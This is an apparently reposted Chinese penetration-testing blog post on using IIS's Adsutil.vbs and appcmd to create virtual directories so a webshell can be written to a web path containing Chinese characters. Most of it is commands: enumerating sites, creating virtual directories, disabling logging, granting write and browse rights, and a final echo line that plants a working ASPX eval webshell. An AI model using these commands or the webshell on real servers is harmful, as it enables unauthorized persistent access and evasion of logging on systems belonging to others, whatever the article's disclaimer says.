前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用IIS虚拟目录写马至中文路径

利用IIS虚拟目录写马至中文路径

作者头像
潇湘信安
发布2022-05-16 21:34:00
1.4K0
发布2022-05-16 21:34:00
举报
文章被收录于专栏:潇湘信安潇湘信安

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

这篇是根据以前写的那两篇文章做的补充,可以参考下:

0x01 前言

知识星球看到@紫陌师傅分享的一篇《利用IIS虚拟目录绕过os-shell中文目录》,所以想着对他文中提到的利用Adsutil.vbs脚本创建虚拟目录写马至中文路径的方式进行复现,但仅适用于低版本IIS,高版本要用appcmd。

0x02 思路分享

Adsutil.vbs是Windows系统自带的一个脚本,可用于命令行下管理IIS,默认在C:\inetpub\AdminScripts目录下,但只在IIS6默认会有这个脚本,IIS7及以上需要单独安装“IIS6脚本工具”组件才有。

图片
图片

我们可以通过执行Adsutil.vbs脚本获取目标网站的各种信息,如:网站ID、绑定域名、应用程序池和查看/创建/删除虚拟目录等,实战场景中还得去删除下创建的虚拟目录,否则可能一直存在。

主要用到命令:

代码语言:javascript
复制
所有网站ID:cscript.exe c:\inetpub\adminscripts\adsutil.vbs enum /P W3SVC
对象绑定信息:cscript.exe c:\inetpub\adminscripts\adsutil.vbs get w3svc/2/serverbindings
创建虚拟目录:cscript.exe c:\inetpub\adminscripts\adsutil.vbs create w3svc/2/root/hacking/ IisWebVirtualDir
删除虚拟目录:cscript.exe c:\inetpub\adminscripts\adsutil.vbs delete w3svc/2/root/hacking
设置物理路径:cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/2/root/hacking/path C:\ProgramData\testing

其他常用命令:

代码语言:javascript
复制
IIS应用池名:cscript.exe C:\inetpub\AdminScripts\adsutil.vbs enum /P W3SVC/APPPOOLS
IIS应用池信息:cscript.exe C:\inetpub\AdminScripts\adsutil.vbs enum W3SVC/APPPOOLS/DefaultAppPool
对象虚拟目录:cscript.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/2/root
不设置日志:cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/2/root/hacking/DontLog 1
设置写权限:cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/2/root/hacking/accesswrite 1
设置读权限:cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/2/root/hacking/accessread 1
可列目录权限:cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/2/root/hacking/enabledirbrowsing 1
启动2号Web服务:cscript.exe c:\inetpub\adminscripts\adsutil.vbs start_server w3svc/2
图片
图片

遇到IIS7及以上场景时我们也可以通过执行appcmd获取IIS中的所有网站名称和对应的物理路径,快速定位到目标网站的绝对路径,也能查看/创建/删除虚拟目录等,方便我们写马至中文路径。

代码语言:javascript
复制
查看虚拟目录:
C:\Windows\System32\inetsrv\appcmd list vdir

创建虚拟目录:
C:\Windows\System32\inetsrv\appcmd add vdir /app.name:www.testing.com/ /path:/hacking1 /physicalPath:C:\ProgramData\testing1

删除虚拟目录:
C:\Windows\System32\inetsrv\appcmd delete vdir "www.testing.com/hacking1"
图片
图片

注:使用appcmd创建虚拟目录时得注意下格式,app.name网站名称,path虚拟目录别名,physicalPath物理路径,还得注意app.name、path中的/,这两斜杠都需要保留,否则可能会出错。

图片
图片

使用Adsutil.vbs脚本或appcmd建立虚拟目录后就可以无视目标网站物理路径中存在的中文字符了。

因为这是直接往虚拟目录中写入文件,所以可以成功将Webshell写入至中文路径,如下图所示...。

代码语言:javascript
复制
echo ^<%%@ Page Language="Jscript"%%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%%^> > C:\inetpub\wwwroot\中文测试\shell.aspx
图片
图片
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-04-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档